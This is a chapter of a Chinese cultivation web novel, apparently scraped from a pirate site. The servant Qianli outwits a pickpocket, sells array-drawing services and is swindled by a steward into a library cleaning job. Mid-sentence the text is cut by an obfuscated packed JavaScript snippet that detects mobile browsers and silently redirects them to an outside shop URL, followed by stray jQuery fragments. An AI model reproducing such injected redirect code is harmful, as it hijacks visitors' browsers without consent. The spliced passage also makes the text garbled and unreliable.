灰衣少女一路狂奔而来,双鬟都跑得散了些。
她在千黎面前猛地停下,撑着膝盖喘了几口气,又抬头对着千黎伸出手:“还我!”
千黎扫了一眼她身后不远处的城门,歪了歪头:“还什么?”
见她装傻,灰衣少女气道:“储物袋!你把我的储物袋给偷走了!”
“我没拿。”
“不是你还能是谁?刚才只有你碰过我!”
“这便赖上我了?”千黎笑了笑,“小小年纪不学好,偏要出来做贼。若是东西反被偷了,也是你遭了报应吧。”
“你少在这里装模作样!”少女气得声音都尖了,“东西就是你拿的!”
千黎没理她,只大步往城门走。
少女气急,伸手去抓千黎的肩膀,又被她轻松躲开。
前方就是城门,入城人并不少,城门两侧站着值守的巡城修士,少女并不敢在这附近动手。
千黎回过头,隔着往来人群看了她一眼:“学艺不精,就别出来当扒手了。”
灰衣少女顿时气得七窍生烟:“你——”
她的声音戛然而止。
腰间似乎多了点重量。
少女低头一看,只见自己的衣带上不知何时多了一个灰扑扑的储物袋。
她愣了一下,连忙拿下袋子,打开袋口。
里面没有灵石,也没有丹药,只有一套皱巴巴的旧衣。袋口刚一敞开,一股浓烈的酸臭味便扑面而来。
少女猛地屏住呼吸,将储物袋拎远了些,气得脸色一阵青一阵白。
“你给我等着!”
次日一早,千黎再次下了山。
外城东市设有一处散市,只需缴纳少量灵石,便能临时租下一块空地摆摊。
千黎买了一块布、一支炭笔、一盒朱砂、一只狼毫笔,又添置了一件宽大的黑袍和一块木板。一百枚下品灵石很快便去了大半。
在木板上写上:解阵、看阵,五十枚下品灵石起。
随后将黑袍披在身上,挑了一处空地,将布铺开,盘膝坐下。
不知为何,东市之中卖丹药、法器和符箓的人不少,却没有一个替人解阵的摊子。
也因此,千黎坐下不过一炷香,便有人停在了她面前。
来人名叫梁大洪,已经炼气圆满,正准备冲击筑基。他想提前炼制自己的本命法器,却始终找不到合适的阵师。
今年能够排上单的,他付不起价钱;他付得起的,又都已经排到了明年。
黑坊里倒是有一名替人画阵的修士,可对方看过阵图之后,直言自己画不了。
若不是真有些走投无路,梁大洪也不会在看到这黑袍人摆摊时,便贸然走上前来。
“五十枚下品灵石起?”梁大洪看了看木板,问,“究竟如何收费?这价钱莫不是你随口定的?”
千黎道:“依据阵法难易定价。我先依阵报价,再解阵、画阵。若是觉得不值,不找我便是。”
梁大洪将信将疑,从储物袋里取出一本书册,翻到其中一页递给她:“那你看看这个。若要画出此阵,需要多少灵石?”
千黎接过书,先是把书翻过来看了眼封面,再仔细看书中内容。
这是一本玄级阵法书,此页上的阵也不过是中阶阵法中较为简单的一种。
千黎道:“两百下品灵石。要画在何处?”
梁大洪却犹疑着,不敢拿出自己的素胚。
两百枚下品灵石不算太贵,可若是对方手艺不精,将他的法器素胚毁了,损失便远不止两百枚。
千黎把书还给他:“你若不愿,那便走开,别耽误我做生意。”
梁大洪一咬牙,从储物袋中拿出一块赤色绢布:“画在这个上面。”
千黎将赤绢在面前铺开,提笔蘸取朱砂,引灵入笔,在赤绢上开始画阵。
朱红阵纹一道接着一道,期间没有停顿。
不消片刻,阵法便已成形。
只可惜千黎如今修为太低,画出的阵虽然完整,能够发挥出的威力也远不及高阶修士所画。
为了弥补这个问题,她将聚灵阵融入其中,让阵可以自行吸收灵力,维持阵法运转。
这也是她收费不高的原因。她自认自己目前画出的阵,只能算残次品。
梁大洪见千黎一气呵成,便猜疑自己是不是遇到了什么高人。
却见她画出的阵,和书上的阵并不是一模一样。
梁大洪心中又不安起来,问道:“为何你画出的阵,和书上的并不完全一致?”
千黎收起狼毫笔,道:“我添了几笔,让此阵可以聚灵。你若不信,注入灵气便知。”
梁大洪迟疑着,拿起赤绢,注入灵力。
阵纹骤然亮起幽蓝色光芒,开始迅速汲取四周灵气。
不过须臾,整块赤绢连同梁大洪的右手便覆上了一层寒霜,转眼被冻得严严实实。
梁大洪非但没有惊慌,反而大喜过望。都顾不上右手还被冻着,便大喊:“好阵!好阵!”
他用左手探进储物袋,拿了两百枚下品灵石给她,便乐呵呵地走了。
梁大洪方才这一大喊,周围不少人看了过来。
没过多久,又有人来找千黎看阵。
日头落下时,千黎才终于收摊。
今日来找她的人,大致分为两类。
一类是看不懂阵法典籍,来找她解惑;另一类则是准备炼制法器,请她代为画阵。
后者更赚一些,只是人数也少。
甚至还有一名青云宗弟子,拿着课业来问她。
这道题并不难,但也是中阶阵法,对方又急着要答案,主动开出了三百枚下品灵石的价。
千黎自然没有拒绝。
千黎粗略一算,今日居然赚了一千多枚下品灵石。
她心情一时极好。
有了修为,赚钱果然也容易了许多。
夜晚回到杂役院中,千黎又拿出那小贼的储物袋。
袋上神识她无法直接抹去,若用其他方式破坏储物袋,可能会连袋中物品一齐损坏。她便将这个储物袋扔进了床底的木箱中。
许是有灵石作陪,千黎一夜好梦。
醒来便去杂务堂,准备领取新的差事。
杂务堂此时刚打开大门,堂内目前只有执事一人坐在案后。
执事认出收拾干净后的千黎,伸手拿出一本册子摊开,说话慢吞吞的:“今日重新派发差事……”
千黎疑惑地歪了歪头,总觉得他今日说话格外拖沓。
执事咳了两声:“宗内差事呢,有照看灵田……”
她知道,这是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727779|208889||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宗内最常见的差事。除此之外,还有去各个殿内打扫。说不上谁好谁坏,总归都又累收入又低。
“只是这两日,藏书阁里恰好缺了人手……”
千黎双眼一亮。
藏书阁!那她岂不是可以随意翻阅功法了!
执事却停了下来,端起茶杯,慢慢喝了一口。
她看着举止奇怪的执事,突然福至心灵,迅速拿出单独装灵石的储物袋投入执事怀中。
执事又咳了两声,以袖掩住储物袋,提笔在册子上写下几个字,便说:“千黎,你的新差事,便是负责藏书阁一楼。”
“是!”
都不用执事提醒,千黎主动举起自己的令牌。
执事手一挥,便有一道流光进入令牌之中。那是藏书阁禁制的进入许可。
虽然刚攒的钱全没了,但千黎兴奋极了。
可惜,高兴持续不了一个时辰。
千黎拿着抹布站在藏书阁内,面无表情地擦着桌子。
藏书阁内每一本典籍上都设有禁制。不是宗内弟子,根本打不开。
她到这里来,确实只是负责打扫。
千黎把手下的桌子当成执事那张脸,愤愤地用力擦着。
来了后,她从几个杂役的三言两语中得知,这执事专挑一些已经引气入体的杂役,暗示他们缴纳灵石,再将人送来藏书阁。
没来过藏书阁的杂役,并不知道书上还有禁制之事,便都纷纷上钩。
不过,即便如此,像千黎这样一时激动,把所有积蓄都扔出去的人,也实在没有几个。
千黎恨恨地磨了磨牙。
死!骗!子!
除了擦桌、拖地,千黎还要把被拿乱的书归位。
有几个外门弟子坐在窗边看书。
千黎放轻脚步,将乱放的书一一归位。
整理到第三排时,她从书堆底下抽出了一张皱巴巴的纸。
纸上画着尚未完成的法阵,旁边还写满了推演痕迹。
这个阵,和昨天来找她的那个青云宗弟子问的一模一样。想必这便是他们的课业吧。
“看得懂么?”
身后忽然传来声音。
千黎回头看去。
此人身穿炼器堂弟子服,腰间挂着内门令牌,怀里抱着几本阵法书。看着千黎手中的纸,她意味不明地笑了一声:“若是看不懂,便还我。”
千黎看她一眼,没有说话,只把纸拍在书架旁,继续整理剩下的书册。
越长风伸手拿起自己遗失的课业:“我不喜欢旁人动我东西。”
“从第四步起,全错。”
千黎将最后一本书塞回去,冷冷抛下这句话,便转身绕过书架。
越长风挑了挑眉,目光又落到她的杂役服上,不以为意地摇了摇头。
一个杂役,脾气真大,还敢在这里胡言乱语。
千黎将弟子们随手扔在桌上的书册垒好,抱在怀中。正准备送回书架,身后忽然传来一道熟悉的声音。
“唉,又是小考。小爷我什么时候能熬到头啊?”
千黎浑身都僵住了。
她立在原地,一动不动。
直到那阵脚步声沿着木梯上了二楼,她才缓缓回过头,只看见一道衣角消失在楼梯转角。
她闭了闭眼。